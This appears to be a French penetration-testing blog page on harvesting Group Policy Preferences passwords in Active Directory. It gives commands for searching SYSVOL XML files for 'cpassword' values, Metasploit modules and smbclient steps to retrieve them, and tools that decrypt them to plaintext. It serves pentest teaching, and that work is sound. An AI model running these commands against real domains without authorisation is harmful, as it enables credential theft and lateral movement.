> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-ad/gpp.md).

# GPP

## Exploitation en local

Les GPP permettent aux administrateurs de configurer et d'installer Windows et les paramètres d'application qui étaient auparavant indisponibles à l'aide des stratégies de groupe.

Ces GPP permettent notamment de stocker mais aussi de faire toutes sortes de changements de configurations sur les machines tels que:

* Mapper les lecteurs
* Créer des utilisateurs locaux
* Changer les configurations d'imprimantes
* Paramétrer des registres
* Créer et mettre à jour des services
* Programmer des tâches
* &#x20;Changer les mot de passes d'admin locaux
* ...

C'est aussi de ce fait une très grande source de données pour un potentiel attaquant car celles-ci sont stockées dans SYSVOL. SYSVOL est le dossier de partage étendu au domaine dans l'Active Directory accessible à tous les utilisateurs authentifiés)

Toutes ces GPP sont donc accessible à l'emplacement:

\\\\\<domain>\sysvol\\\<DOMAIN>\Policies\\

Lorsqu'un nouveau GPP est créé pour un utilisateur ou un groupe de comptes, il est interrelié avec un fichier "Group.xml" dans lequel se trouve donc le mot de passe de cet utilisateur chiffré en AES-256.

La seule "difficulté" pour l'attaquant est alors de trouver ces mots de passe parmi les autres GPP ce qu'il peut facilement faire régler en recherchant le mot clés "cpassword" (dans lequel se trouve le mot de passe) dans chaque fichier ".xml" ce qu'on peut donc retranscrire simplement comme ceci dans l'invite de commande Windows.

```powershell
findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
```

## Exploitation avec metasploit

```bash
msf > use auxiliary/scanner/smb/smb_enum_gpp
msf (scanner/smb/smb_enum_gpp) > set rhost <Target IP>
msf (scanner/smb/smb_enum_gpp) > set smbuser <username>
msf (scanner/smb/smb_enum_gpp) > set smbpass <password>
msf (scanner/smb/smb_enum_gpp) > exploit
```

### Module de post-exploitation

```bash
msf > use post/windows/gather/credentials/gpp
msf (windows/gather/credentials/gpp) > set session 1
msf (windows/gather/credentials/gpp) > exploit
```

## Exploitation via smbclient

```bash
smbclient //<target ip>/SYSVOL/<domain>/Policies -u <username>
smb \> ls
    .
    ..
    {EE146E8...}
    {EE146E9...}        
smb \> cd {EE146E8...}
smn \{EE146E8...}> get Group.xml
```

## Déchiffrement

### gpp-decrypt

Utilisation:

*`$ gpp-decrypt <password chiffré>`*

ressource: <https://www.kali.org/tools/gpp-decrypt/>

### Get-GPPPassword

Utilisation:

*`> Get-GPPPassword`*

ressource: <https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1>

### Net-GPPPassword

Implémentation .NET de Get-GPPPassword. Récupère le mot de passe en clair et d'autres informations pour les comptes poussés via les préférences de stratégie de groupe.

ressource: <https://github.com/outflanknl/Net-GPPPassword>
